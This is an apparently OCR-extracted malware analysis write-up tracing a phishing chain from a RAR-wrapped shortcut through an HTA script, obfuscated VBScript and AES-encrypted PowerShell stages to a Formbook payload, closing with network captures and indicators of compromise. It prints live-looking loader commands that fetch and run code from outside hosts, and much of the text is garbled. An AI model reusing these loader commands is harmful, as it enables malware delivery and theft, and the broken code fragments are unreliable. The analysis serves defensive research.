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1. Initial foothold

The attacker sent an email with an attachment named “brochure-for-2023-elite-
events.rar”. This rar file contains only one 1nk (shortcut) file named: brochure-for-2023-
elite-events.pdf.1lnk. If the user does not pay attention and extracts the file, it will be
displayed as a PDF icon like the following:

B MName

E'-_F brochure-for-2023-elite-events. pdf

The analysis of this Ink file reveals that it utilizes powershell.exe to execute an hta script.

1l StringData

2 |

3 namestring: brochure-for-2023-elite-events.pdf

4 relativepath: ..%..%\..\Windows\System32\WindowsPowerShell\vl.0\powershell .exe

5 workingdir: not present

[ cormmandlinearguments: \WYZ\MAY2\\\msh*e ("http'+"://thanhancompany.com/ta/pintu'+".hta')
7 iconlocation: C:\Program Files (x3&)\Microscoft\Edge'\Application‘\msedge.exe

o

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" \W*\\\*2\\\msh*e
('http'+'://thanhancompany[.]Jcom/ta/pintu'+'.hta')
2. Analyzing HTA script

Download the file pintu.hta for analysis. This file contains a VBScript code snippet as
follows:

—l<body>
%ﬁ:able STYLe="wIdTh:100%">
<tr>
<th>TLU</tH>

<th>tUP</th>

<th>vZs</th>

<th>Ea¥</Th>

<th>Pvj</Th>

<th>eQj</tH>

F</TR>

[</table>

“</body>

7 <script language="VbsCRIpT">

Execute chr(655-(&H249))&chr(763-(&H286))&chr(295-(&HBS) J&chr (322~ (&HDF))&chr(677-(&H231))&chr(765-(&H258))&chr(366-(SHFF) )&chr(253-(&HSEF) )&chr (U26- (&H18A))&chr(281-(&HCE) )&chr (1825
Close
L</script>

<body>
<table STVLE:“wIdTh:IBB*“4
Cletr>
<th>ELF</tH>

<th>cho</th>

<th>EyR</th>

<th>gGG</Th>

<th>xQB</Th>

<th=BQus/tH>

L</TR>

F</table>

L</body>
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To facilitate the deobfuscation of the code snippet above, | have modified it as follows:

<th>TLU</tH>
<th>tUP</th>
<th>vzs</th>
<th>EaY</Th>
<th=Pvj</Th>
<th>eQj</tH>
</TR>
</table>
</body>

<body>

<table STYLe="wIdTh:1lee%">
<tr>

<th>ELF</tH>

<th>cho</th>

<th>EyR</th>

<th>gGG</Th>

<th>xQB</Th>

<th>BQu</tH>

The modified pintu.hta file is executed, resulting in a Vbscript containing a function that
executes a subsequent PowerShell script.

Function KZm(ByVal I0i)
Dim wDu
Dim ZXkU
ZXU = 383
Dim GHv
GWv = JTr(I0i)
If GWv = 7000 + 1204 Then
For Each wDu In IOi
Dim stN
StN = stN & Chr(wlu - ZkU)
Hext
End If
Kim = stN
End Function
Function uUB()
Dim IOi

Dim xyT
Set xyT = £0E (KZm(Array(480,5038,482,507,488,505,509,4389,47¢,4587,494,501,501)))
xyT.Run(ZAR),0,true

self.close()

3. Analyzing the 15t Powershell script
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ZAA = "powershell[.]exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -
WindowStyle hidden -ArgumentList {/c powershell.exe $xbFz =

' AAAAAAAAAAAAAAAAAAAAA IV hrN5YVNQDUOBH j ZkKQBQBWG7g/BgHo1jVelpiiopnWmXE1HRNWJIG/6NaghUK

= 'b11XeHFBWFhNYU9KcHFNRFNSbk1EQVVSUMJqQm5Wbow=";$Bfs1XFB = New-Object
'System.Security.Cryptography.AesManaged';$Bfs1XFB.Mode =
[System.Security.Cryptography.CipherMode]: :ECB;$Bfs1XFB.Padding =
[System.Security.Cryptography.PaddingMode]: :Zeros;$BfslXFB.BlockSize =
128; $Bfs1XFB.KeySize = 256;$Bfs1XFB.Key =
[System.Convert]::FromBase64String($HMTijTI); $ImazB
[System.Convert]::FromBase64String($xbFz);$myyViryP = $ImazB[0..15];$Bfs1XFB.IV =
$myyV1ryP; $xgdtNsuBK = $Bfs1XFB.CreateDecryptor();$KbcpSLgDg =
$xgdtNsuBK.TransformFinalBlock($JmazB, 16, $JmazZB.Length -
16);$Bfs1XFB.Dispose(); $bDcpNBr = New-Object System.IO.MemoryStream( , $KbcpSLgDq
) ; $OMEpFPG = New-Object System.IO.MemoryStream;$DswuaJEln = New-Object
System.IO.Compression.GzipStream $bDcpNBr,

([I0.Compression.CompressionMode]: :Decompress);$DswuaJEln.CopyTo( $OmEpFPG

) ; $DswuaJEln.Close(); $bDcpNBr.Close(); [byte[]] $dhbwdLTm = $OmEpFPG.ToArray();$SRunF

= [System.Text.Encoding]::UTF8.GetString($dhbwdLTm);$SRunF | powershell - }"

The script performs the following tasks:

Decode the base64 string assigned to the variable $xbFz and uses the first 16 bytes

as the IV, while the remaining part is the encrypted data:

Offset 01 2 3 4 5 & 7 i 8 2 B CDEF Ascii

00000000 IUU 00 00 00 00 00 00 0o 00 00 00 00 00 00 00 Uﬂl

al alls A = i
01 40 15 AR EE OF C1 A3 74 25 8D 57 BS A6 28 R .
A6 75 Rg 5C 4D 47 48 7C 09 1B FE 8D 6B D& 54 29| .u.\MGF|....k.T)
RE FD 34 Z§ €1 F7 2F BO 9F 8F A4 CC 00 25 CC 3F|| veeeBafuuunns 5.2
39 31 D2 85 14 E0 61 02 17 21 &D D7 26 0% 8% 7F| 91....3..!'M.&...
24 7E EE A5 86 D0 DF D3 C4 50 C9% E7 85 D& 1B RB
88 CB 91 EC 23 29 FF B8A gF 00 C3 BS A6 5A 99 Fi
C3 BO E1 54 26 FA F3 B2 77 71 34 A0 F9 3B BC 6F
ES 63 L& 9C 07 52 51 BO 62 11 26 &7 BF 88 73 6E
00 10 54 D5 BD F& 87 3D 38 21 &1 85 5C FA 5C 18
BD BC 12 CB 21 2F 01 DE 54 FD F% B2 29 5D CD 3A&

1D F5 E3 F9 05 C6 CD AS 08 97 56 DC &3 7D AB DO Encrypted
2E 54 72 66 EC 84 54 3E 24 07 78 56 08 88 13 92 data
CD 5D AB EO 59 BA B2 OE B7 1E DC 48 FA BF D& F9
FO0 F& F8 A3 1E &5 8C F2 60 Cé ED 83 25 40 3C B2
27 2C C4 4F FO B3 SR 49 E3 DO EB 73 1D DF 82 1A
BF 3F 71 B2 F& 8C 1F &7 63 E7 D& FO 40 RB 87 B39
D5 R4 S0 EB 23 53 6E EB 6E 58 Bl CA 05 25 72 72
L& 40 6B OA FE 75 7D 82 499 F3 13 EB C7 56 CE &C
A7 79 52 BS 86 87 01 DD 10 SB 46 B5 2B EB 86 34
Bl CB DO 2F ES5 OR 06 A3 35 C1 89 EE BC EE DL B7
28 gE 02 7D B2 7C EB 23 C5 2E SF DC DE 3B OA BB
00000 35 FD FC C7 DO 95 90 FE L& FD 00 13 &B 1B 09 SE
TN N TR I v 7 o o o 3 . 8 e S o L 4 [ o=
Decode the base64 string assigned to the variable $HMTijTI and use it as the AES
key:
Offset g 1 2 3 4 5 & 7 i 9 A B C D E F Ascii

53 52 6E 4D 44 41 535 52 52 62 6h 42 6E 56 6F 4! SEnMDAUREL]BnVol

6E 5% 57 73 71 41 53 58 4D 61 4F 64 70 71 &7 44 nYWxqh¥¥MalCdpggD ’ AES key
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Using the key and IV, decrypt the encrypted data using AES in mode $Bfs1XFB.Mode

[System.Security.Cryptography.CipherMode]:

:ECB:

Property Value |

mode

ecb

key_length

32

bleck_length

16

key_input

asdii

key

nYWigaX)XMaOdpggDSRnMDAURRE]BnVoL

w_input

|Mx

offset 0
size

v 0000000000000

2F0

trim

|both

Offset a1

00000000 | 87 6F
noooooos | 40 BB
00000010 | D1 40
00000018 | 7A 25
00000020 | B6 75
00000028 | 09 1B
00000030 | BE FD
00000035 | OF 8F
00000040 | 39 31
00000048 | 17 21
00000050 | 24 7E
00000058 | C4 50
00000060 | B8 CB
00000068 | 6F 00
00000070 | €3 BO
00000078 | 77 71

2 3

78
EE
BS
4D
6B
61
a0
14
26
g6
a5
23
1]
26
Fa

4 5

E0

3B BC

B
N g
wgd..; .o

Offset

00000000
Qoooooos
QoooooLo
00000015
00000020
Qooooonzs
00000030
00000035
Qoooo0040
00000045
00000050
00000055
Q0o000en
00000085
00000070

QoooooT7s
W

a1 2

fF =B oz
aD
2B
32
aD
&0
E2
4D
EF
a0
81
EB
88
4E
2B
aC

@) uuuva.

38
92
44

18N.N; 8-
coogmooo

45 -h.E.dD.

Based on the result of the first two bytes being 0x1F 0x8B,
data has been compressed using Gzip. Decompressing this data yields the next
PowerShell script:

we know that the decrypted

Offset
ooooon00
0000010
00000020
0000030
00000040
ooooo0s0
00000060
0000070
ooooonzo
oo000so
oooo0a0
oo000B0
ooooonco
00000000
o0000ED
00000050
00000100
00000110
0000120
00000130
0000140
00000150
00000160
00000170
00000180
0000150
00000120
00000180
ooooo1co
00000100
000001E0
00000150
00000200
00000210
0000220
00000230
0000240

0123 4567
Be 75 ez 6374 69 6 62
75 2 20 24 41 7 56 25
65 5D 3A 3B 57 72 69 74
73 28 24 68 78 75 2c 20
75 6E 63 74 69 GF GE 20
2578 69 66 28 24 6F 7
74 68 28 26 44 € 74 20
34 35 39 2€ 36 35 30 37
20 20 65 71 20 24 54 72
& 6c 33 32 2E 65 79 65
6 73 65 69 66 20 24 6F
65 74 68 28 26 44 &C 74
36 35 31 31 2€ 36 35 31
2520 2D 65 71 20 24 54
65 72 73 68 65 6C 6C 2E
6375 74 €9 6F 6E 50 6F
657374 72 69 63 74 65
24 67 78 75 7D 65 & 73
2 45 62 64 73 57 69 74
28 36 34 34 35 2c 36 35
36 35 30 34 25 25 29 20
& 2578 6D 69 73 65 78
65 20 24 6F 70 75 70 65
74 2D 50 72 6F 63 65 73
38 66 75 6E 63 74 69 6F
4374 29 78 24 74 54 54
62 6 65 63 74 20 20 44
37 2¢ 36 35 30 30 2 36
2 36 34 38 36 2 36 35
36 34 36 36 2€ 36 35 30
35 30 30 2€ 36 35 30 35
5B 4Z 65 74 2E 53 65 12
74 4D 61 6E 61 67 65 72
65 74 79 50 72 GF 74 6F
65 74 2E 53 65 63 75 12
63 6F 6C 54 79 70 65 5D
26 41 7 56 20 30 20 24

Cursor: 0 Selection: 0 Size: 604

29 a3 CDETF
20 6C 57 €2 22 24 6F 72
75 SB 49 4F 2E 46 69 &C
€5 41 6C 6C 42 79 74 65
24 41 72 56 23 7D 3B 66
70 €D 68 28 24 6F 78 79
79 28 45 6E €4 73 57 69
20 28 36 34 34 35 2C 36
2C 3¢ 35 30 37 29 29 29
75 €5 29 78 72 75 €E &4
20 24 6F 78 79 20 D 65
78 79 2E 45 E 64 73 57
20 40 28 3¢ 34 34 35 2C
34 2C 36 34 34 38 29 29
72 75 65 29 7B 70 6F 77
&5 75 65 20 2D 45 78 &5
EC €9 63 79 20 75 EE 72
&4 20 20 4¢ €3 &C €5 20
€5 6% 66 23 24 6F 78 73
&8 28 28 44 6C 74 20 40
30 38 2C 3¢ 35 31 34 2C
2D €5 71 20 24 54 72 75
€5 €3 20 2F 71 6E 20 2F
€C 73 65 7B 53 74 61 72
73 20 24 6F 78 79 7D 7D
6E 20 7R 50 €7 28 24 72
20 3D 20 4E €5 77 2D 4F
EC 74 20 40 22 36 34 37
35 31 35 2c 3¢ 34 34 35
30 30 2C 3¢ 34 39 37 20
37 2C 36 35 30 34 2C 36
2C 3¢ 35 31 35 29 29 3B
76 €9 63 €5 50 6F 69 GE
SD 3R 3A 53 €5 63 75 72
€3 €F 6C 20 3D 20 5B 4E
€974 79 50 72 6F 74 6F
A 3R 54 4C 53 31 32 3B
74 54 54 2E 44 6F 77 6

ascii

Function. 1#m (sox

) (3£ (soxy. Endsiti.
th((D1t.0(6445,6
499, €507,6507)))
--eq.5True) {rund
1132.exe.0xy. Je
152 (soxy. EndsW
ion((DLe.@ (645,
8511, 6514, 6442) )
).=eq.§True) {pow
ershell.exe.-Exe
cutionPolicy.unr
estricted.File.
soxy)elsei (soxy
“Endsiith( (DLc.8
(645, 6508, 6514,
6504))) .—eq.5Tre
&) {misexec. /qn./
1308y} elae{Star
Process.soxy}}
;function.zBg (st
CE) (§TTT. = Hew-0
byect. (Dlt.@ (647
7, 8500, €515, 6445
| €486, 6500, 6457,
s4ec, 6507, 6504, 6
500, €508, 6515) ) -
[Net. ServicePoin
tianager]: :Secur
15yProtocol.=. [
ec.SecurityProto
collype] ::TLS12;
$A2V.=. §UIT. Down

hell - Executionpol - File soxy

1seif (Soxy.EndsWich((D1té (6445, 6508, €514, €504))) - eq STrue)
misexec / qn / 1 soxy
1se

Start - Process Soxy

b

function zPg($rCt)
[

[ec

$TTT = New - Object (DLt@ (6477, €500, 6515, 6445, €43, €500, 6497, 6466, €507, 6504, €500, 6508,

$A2V = $TTT.Downloadbata (§xCt) ;
return $AzV

sim = esas:

£ (# e $1zq)

0
sdtu += [char] ($KKX - $IBY)

i

recurn $dvu

g

Zunction REI()

: AppDat: DIl= senv:AppData; SGKIrywd =
€446, 6497, €50
83.exe
(6503, 651!
€500) ) ;1#h $DauGlab¥W $ZbnZadRahvy;pmh $DauGlabii; |;; |RED:

5509, 6506, 6445, €511, 6495, €50,

Type]: :TLS12;

= £ $DRSUE $DASUDIL + '\blank.pdf ';If(Test-Path —Path $GXIryw) (Invoke-Ttem §GXIrywl; |Else( $kITkrCO = zPg (Dl

0(es03, 5515 15, o, 6514, 6457, G04E, 6446, 6505, 6496, G ) G G ol 50 G L5 R 0 L ot G 0 50 G 8 G o Ga87, Ga40, 6455, G446, G447, 6452,
$GKIrywM $k) TKECO; Invoke-Ttem $GKIEYWM; }i7
=st-Path -Path $DauGLabiW) (ph o JELse( sZbmZalRahvY = zBg

1,6514, 6457, 6446, 6446, 6515, 6503, 6496, 6509, 6503, 6496, 6503, 6498, 6510, 6508, 6511, 6436, 6503, 6520, 6445, €438, 6510, 6508, 6446, 6502, 6513, 6504, €511, 644¢, 6435, 6455, 6450, 6445, 6500, 6513

6s15)):

+$DauG1abYN = ol

4. Analyzing the 2"? Powershell script

The important part of this script is as follows:
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function D1t($izq)

{
$IBY = 6399;
$dtu = $Null,
foreach($kkKX in $izq)
{

$dtu += [char]($kKX - $IBY)

}
return $dtu

+i

function RPJ()

{

$oUv = $env: AppData + '\';$DASUDI1= S$env:AppData;$GXIrywM = $DASUDI1 +
"\blank.pdf ';If(Test-Path -Path $GXIrywM){Invoke-Item $GXIrywM;}Else{ $kjrkrCO = zPg
(D1t
@(6503, 6515, 6515,6511, 6514, 6457,6446, 6446, 6508, 6496,6502, 6445, 6518, 6498, 6510, 6510, 6508
$GXIrywM $kjrkrCO;Invoke-Item $GXIrywM;};;;$DauGlabYW = $oUv + '

883.exe '; if (Test-Path -Path $DauGlabYW){pmh $DauGlabYW;}Else{ $ZbmzaJRahvY =
zPg (D1t
@(6503, 6515, 6515, 6511, 6514, 6457, 6446, 6446, 6515, 6503, 6496, 6509, 6503, 6496, 6509, 6498, 651€
$DauGlabYwW $zbmzZaJRahvY;pmh $DauGlabYW;?};;}RPJ;

It can be observed that it will use the b1t function to decode the download addresses of the
files (next stage payloads). By rewriting this function in Python and performing the decoding,
we obtain the download addresses for the payload and decoy PDF as follows:

(' Python 8 X Output

= ?j? |T'-,'De here the name of the script to automatically save it.. https:Nnag.wuoumd.orgfnplcmdyZDIGIDSJblank.pdf
https://thanhancompany.com/grip/883.exe

1 urll=[6503,6515, €515, 6511, 6514, 6457, 6446, 6446, 6508, 6496, 6502, 6445, 6518, 6458, €510, 6510, £508, 6459, 6445
, €510, €513, 6502, 6446, 6516, 6511, €507, €510, 6496, 6499, €514, 6446, €449, 6447, 6443, 6455, 644€, 6447, 6452, 6446
, €497, 6507, 6496, 6509, 650€, 6445, 6511, €499, 6501]

2 url2=[6503, 6515, 6515, 6511, 6514, 6457, 6446, 6446, 6515, 6503, 64%€, 6509, 6503, 6456, 6509, 6498, £510, 6508, 6511
, €496, €509, 6520, 6445, 6498, 6510, €508, €446, 6502, 6513, €504, 6511, £446, 6455, 6455, €450, 6445, €500, 6519, 500
1

3

4 def Dlt(iZqg):

5 IBY = 6399

[ dtu = ™"

7 for kKX in iZqg:

3 dru += chr(kEX - IBY)
% return dtu

10
11 print{Dlt{urll))
12 print(Dlt{url2))

[+] Defanged URL(s):

hxxps://mag[.]wcoomd.org/uploads/2018/05/blank.pdf
hxxps://thanhancompany[.]com/grip/883.exe

5. Formbook payload

At the time of analysis, | was able to successfully download the payload, its sha256 is:
00f20471ea61f5h0f5ale2e9he722369ea515aaea80283aa046bd47e51f952¢e4
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Eile : |883.exe |

Entry Point : |QD08180E < EP Section :

File Offset : |0007FAQE First Bytes : |FF 25 00 20 40
Linker Info : I:l SubSystem :  [Windows GUI

File Size : 00082600h <| |NET | Overlay : NO 00000000
Image is 32bit executable RES/OVL:1 /0% 2023

[ ! ] MS Visual C# / Basic.NET [ Obfus/Crypted ] [ Link 48 ] - EP Token|
Lamer Info - Help Hint - Unpack info

| Warning : NET RES 480.92 KB ,Obfuscated like : DeepSea Obfuscator v£|
The .NET payload, when executed, will unpack the final payload, which is the payload of the

FormBook malware (this is likely a new build of the malware).

| final_payload.bin

Cffset(h) 00 01 02 03 04 45 06

OB OC 0D OE OF Decoded text

00000000 |D 52 45 00 00 [ot:] MZERE... . Kfe.¢Ef

00000010 CO 83 ) 00 hec. AFA(..¥A..

00000020 oo number (1) - (.text) have the Entry Point
00000030 0o EntryPoint (calculated) - 1488

00000040
00000050
J0000060
Q0000070
Q0000080
00000090
J00000R0

09
&7
75
oD 0
7D
TD
7D

is program canno
t be run in DOS

CxEET FEOxEE.}
Pxi¥ee. }J¥Rich. .}

W

00000080 00 00

000000C0 0 0o

000000DD oz

000000ED 10 00

000000F0 00

00000100 0 0o

00000110 0 40

00000120 00

00000130 00

00000140 00

00000150 00

00000160 oo Ru
00000170 00 e nE)
00000180 00

00000190 00

000001A0 oo

000001B0O
J00001co

oo
)
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FL.|'1cb'or'rs O & x

Function name

Line 4 of 12

A8, Graph overview 0 & x

=] output

Utilize Fakenet and monitor the payload generation process to generate traffic to hosts:

GET /nwt5/2SX=NhCpY jLOANItM&tBHTo=cJ6pShYq+pbIw2y4udmE8OU r3yt5M7cMcgHWRN1vOmpy3yYm8k9xIX1Lpbqcu+MhqjOxz3RtLyL HTTP/1.1
Host: www._munzarabogados.com
Connection: close

HTTP/1.0 200 OK
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POST /nwt5/ HTTP/1.1

Host: www.munzarabogados.com

Connection: close

Content-Length: 3735

Cache-Control: no-cache

Origin: http://www.munzarabogados.com
User-Agent: Mozillaf4.@ (compatible; MSIE 7.8; Windows NT 6.3; Trident/7.0; ._NET4.0E; .NET4.0C; Tablet PC 2.8; .NET CLR 3.5.38729; _NET CLR 2.0._50727;
_NET CLR 3.0.30729)

Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://www.munzarabogados.com/nwt5/
Accept-Language: en-US

Accept-Encoding: gzip, deflate

tBHTo=RLSJ~XVh3vLR9m22 j7ya%-ROwn1i5nbDtEtChxQRDVUGq]SmTzPQMtpfhGtDVSM~oqpnS6EHy48PcfaXPBuvhf -
EGqt(B(s{uAwa_iDU3gHFgX105zE7KvCA4ePPcpCPuFwTgcaD6axFecgkRhBfuTq15Y8sVefpT3IVhT31kKStoyRyAT9wqoMiWdHWb3BUuwqICL jJFFEPZwDDtnLBOO~IPGFEQRzV3Q01vE Tols fMXyNgP
6W4PWOZZLZSBHI1ZOSDYHI rmsYXHn3W1MFUwpkB@giEh20gYUSDH jB0H6PgoxRccQPhmCO6k8T7asAKI4PYRc6ghQQ7TAHUYEWT41qrMIERH150519xXtNIb] -
JUPEjqgeMryCQqtmjZm_8hX@Vhd9seq3Hv7DHWKUB j9_dhuBprufkZ5yMg~xPOIESTZQZ8r j7wiLxCnS1DzMireuQr11IuWUT3euUPDINHIEeI1CCy4k TKIQbBWMCN17HcgzY SuxAurMvrgIJOIY~3CNu
s~YHoB6BTOIBUOWBT TnSeShjQhmE1BqQodz SDWMTEVFKiZG5VkY1 1~I~ovE6GBF3T1 -
(7cthIgWSDWTOMYLWIXJ12fCOcEuqod43UBx3F86WE3BquOb4TOABLVIARBGUDTcB25_u3p6ghrHxoctlphuRsr2H5XRr9FBULBLLAF7hVHxLOhozPCe0igIXjdAHKSdmpMG(QZ4RyLd4Xv5(SbZjannG
7aahMiwUhJ1BHd@WTz fBFaaHICPHvvrPFM_Yyx4plzg~zZhpAbBO6M 0PwlqlzQWerKmJedgs10d@DtpBvnldQBVjIAoW664R1rel2QIn@FomuEZFC132GxcakABd5yF5n3HU~KBOWLkQcBecM-
Zgq8TIHAT1z70wCDfQwaN4t3EmvgHTFnMC 1008 - xLTZ8MhsoGVBANSZKHE -

cHSg7900Mdw618vILaDUq2a9Vz jr3iVZ (AayMxBvLC~yed(95tEcZbsPLSp1AseXuhMr jTdKDuygsn8b~kail6o99M7b jQBet6pywBo0908DIT1_3xZxuxw3z fLP~HCmex24ky6d HiuZFXwtZzZnay8D
tX503nMjF3mFgl6V6t1tHIr OARWABAbIME1WMOEtBsaInzVXI5q(qTbXKgNfD1EYuL1FY61hZ1HvgkgbHpMIL4SRfuvbuZcqz0srqZPiDSIITeGvq6BHrkblBpf (wXGxRztrb1NT1z10u2RxfKpqus2Ih
cPsBzRWhI3UIOBLXPdzoKeo94mXiP7e99pgnGAaE1X3KoMPFU7aBHCzrkagdDXLXS Ty fCuRLYrTq7 tHwFi60UhLB5BsOMxPgpKWKdCVeqeQdHX0e~7z8QHkoZR t8PNwz4FANaa jLLxo9gA6sbSoPXgFvL
pTy31wuRJI6RvOWFZB~308v0x2ATD LMoIF82ye jhINRxUeuCu2cuxIV1SoTQ5L 1y3d5AUxvQ9141dLK39c5Qug9XtP1XEL047 ( gdT( LFDTE~8xyMSHRTWq33nDBn2pU7p9F TJ65DngbmuDSHIWEB4SUATY
WepazwfF7-

R7PWkpNuuEET (9F jxMhptIVc96x8U7ouD3HkbYbHdoZgTn08BU1byroVIhGZ t8gnGItEBESkuffsafJgCNRDEYB1B2Z TEWWHr Nt89k 16MMTQRD4H5YE72AxK pMpJk5c1Ct0351zNZBU(ne6Z6HVbSeSUBs
AR 0 - 9F I i 8 R kX46R 1

hxxp://thanhancompany[.]Jcom/ta/pintu.hta Hta script

hxxps://mag[.]Jwcoomd.org/uploads/2018/05/blank.pdf Decoy
PDF

hxxps://thanhancompany[.]Jcom/grip/883.exe Payload
URI

00f20471ea61f5b0f5a1e2e9be722369ea515aaea80283aa046bd47e51f952e4 Payload
SHA256

End.
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